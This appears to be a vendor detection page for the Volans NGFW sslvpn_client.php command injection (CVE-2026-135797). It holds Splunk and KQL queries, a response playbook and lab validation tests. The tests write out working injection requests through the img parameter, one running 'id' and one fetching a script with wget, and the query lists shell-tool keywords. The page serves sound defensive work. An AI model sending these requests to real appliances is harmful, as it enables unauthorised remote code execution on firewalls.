Detect Volans NGFW sslvpn_client.php exec() Command Injection (CVE-2026-135797) in Splunk
Detects exploitation of CVE-2026-135797, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the exec function of sslvpn/sslvpn_client.php on the Volans NGFW Next-Generation Firewall r5.1. An unauthenticated remote attacker can inject arbitrary shell commands through the img parameter of the SSL VPN client endpoint, achieving remote code execution with the privileges of the web service process on the appliance. The vulnerability can be exploited remotely. A public write-up and working proof-of-concept exploit are available. This detection correlates web/proxy access to the sslvpn_client.php endpoint carrying shell metacharacters or command-injection payloads, and host-side process execution of shell interpreters spawned by the web server process on the appliance. Logic is written for both reconnaissance/probing and successful command execution.
Based on Volans NGFW (nf51) Root RCE write-up
MITRE ATT&CK
SPL Detection Query
``` df00tech DF00-55e141fd93 · https://df00tech.com/detections/CVE-2026-135797 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=web OR sourcetype IN ("pan:traffic","apache:access","nginx:access","suricata")
(uri_path="*sslvpn_client.php*" OR uri="*sslvpn_client.php*" OR url="*sslvpn_client.php*")
(uri_query="*;*" OR uri_query="*|*" OR uri_query="*`*" OR uri_query="*$(*" OR uri_query="*%3B*" OR uri_query="*%7C*" OR uri_query="*%60*" OR uri_query="*wget*" OR uri_query="*curl*" OR uri_query="*/bin/sh*" OR uri_query="*busybox*" OR uri_query="*nc *")
| stats count min(_time) as firstTime max(_time) as lastTime values(uri_query) as payloads by src_ip dest_ip uri_path http_method
| convert ctime(firstTime) ctime(lastTime)
| sort - count Finds Splunk web/proxy events for sslvpn_client.php that include shell metacharacters or command tokens, consistent with CVE-2026-135797 command injection.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized vulnerability scanners probing the SSL VPN endpoint
- Internal red-team or penetration testing
- URL-encoded but benign SSL VPN client parameters
Other platforms for CVE-2026-135797
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated command-injection probe to sslvpn_client.php
Expected signal: Web/proxy/WAF log entry for sslvpn_client.php containing %3B (;) and 'id'.
- Test 2 Simulated downloader payload injection
Expected signal: Request to sslvpn_client.php with encoded ';wget http://...' in the img parameter.
- Test 3 Host-side simulation of web-server-spawned shell
Expected signal: Process creation of /bin/sh running 'id' and writing /tmp/argus_rce_marker, ideally as a child of a web/PHP process.
Response Playbook
Triage
- Confirm the targeted host is a Volans NGFW r5.1 appliance exposing the SSL VPN web interface to the source network, and whether that interface is internet-facing.
- Decode the captured request to sslvpn_client.php and extract the injected command string; determine whether it is a benign probe (e.g. `id`, `;echo`) or a weaponized payload (reverse shell, downloader, persistence).
- Correlate the source IP against threat intel and prior activity; determine if the same source hit other appliance endpoints or succeeded (HTTP 200 with command output) versus was blocked.
- Check the appliance for child processes spawned by the web/PHP server (sh, bash, wget, curl, busybox) around the request timestamp to confirm successful command execution.
Containment
- Block the attacker source IP(s) at the perimeter and, if the SSL VPN portal is internet-exposed, restrict management/VPN access to trusted networks or take the portal offline until patched.
- If command execution is confirmed, isolate the firewall appliance from management and production networks and fail over to a known-good standby, treating the device as compromised.
Evidence Collection
- Preserve web/proxy/WAF access logs showing the full sslvpn_client.php request, source IP, method, and response code and size.
- Capture the appliance's PHP/web server logs, shell history, process accounting, /tmp and cron artifacts, and a memory/disk image before any rebuild.
Escalation Criteria
- !Escalate to incident response immediately if host telemetry shows a shell interpreter or network tool spawned by the web server process (confirmed command execution on a security appliance).
- !Escalate to vendor and management if the appliance is internet-facing, multiple source IPs are observed, or evidence of lateral movement, config exfiltration, or credential theft from the firewall is found.
Investigation Guide
Forensic Artifacts
- >
Web/PHP server access and error logs containing sslvpn_client.php requests with shell metacharacters - >
Shell interpreter and network-tool (wget/curl/busybox/nc) child processes of the web server process - >
Unexpected files in /tmp, modified cron entries, new SSH keys or added accounts on the appliance - >
Outbound connections from the appliance to attacker infrastructure immediately after the request
Tuning Guidance
Baseline legitimate SSL VPN client traffic to sslvpn_client.php from known VPN user ranges and exclude authorized scanner source IPs. Tighten from broad metacharacter matching toward explicit command tokens (wget/curl/busybox/reverse-shell patterns) if benign encoded parameters cause noise. Pair the network match with host-side detection of web-server-spawned shells to confirm successful exploitation and raise fidelity to high.
Hunting Queries
Surface source IPs repeatedly hitting the sslvpn_client.php endpoint, a signal of scanning or exploitation attempts.
// df00tech DF00-55e141fd93 · https://df00tech.com/detections/CVE-2026-135797 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "sslvpn_client.php" | summarize count(), make_set(RequestURL) by SourceIP, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-55e141fd93 · https://df00tech.com/detections/CVE-2026-135797 · licence: https://df00tech.com/detections/licence ```
index=proxy uri="*sslvpn_client.php*" | stats count values(uri_query) as q by src_ip | where count>5 Atomic Red Team Tests
Sends an HTTP request to the SSL VPN client endpoint with a semicolon-delimited `id` command to emulate a reconnaissance probe for CVE-2026-135797. Lab use only against an authorized test appliance.
Command
curl -sk 'https://TARGET_APPLIANCE/sslvpn/sslvpn_client.php?client=logoImg&img=x%3Bid' -o /tmp/argus_cve_2026_135797.out Cleanup
rm -f /tmp/argus_cve_2026_135797.out Expected Telemetry
Web/proxy/WAF log entry for sslvpn_client.php containing %3B (;) and 'id'.
Expected Detection
Network KQL/SPL rules match on sslvpn_client.php with a shell metacharacter token.
Emulates a weaponized injection that attempts to fetch a remote file via wget through the vulnerable parameter. Lab use only.
Command
curl -sk 'https://TARGET_APPLIANCE/sslvpn/sslvpn_client.php?client=logoImg&img=x%3Bwget%20http%3A%2F%2F127.0.0.1%2Fx.sh' -o /tmp/argus_cve_2026_135797_dl.out Cleanup
rm -f /tmp/argus_cve_2026_135797_dl.out Expected Telemetry
Request to sslvpn_client.php with encoded ';wget http://...' in the img parameter.
Expected Detection
Network rules match on sslvpn_client.php with the 'wget' command token.
On a lab host, emulate the post-exploitation behavior of the PHP/web server process spawning a shell to run an injected command, to validate host telemetry and correlation.
Command
sh -c 'id; echo argus-cve-2026-135797 > /tmp/argus_rce_marker' Cleanup
rm -f /tmp/argus_rce_marker Expected Telemetry
Process creation of /bin/sh running 'id' and writing /tmp/argus_rce_marker, ideally as a child of a web/PHP process.
Expected Detection
Host EDR / hunting correlation flags a shell interpreter executing reconnaissance commands consistent with appliance command execution.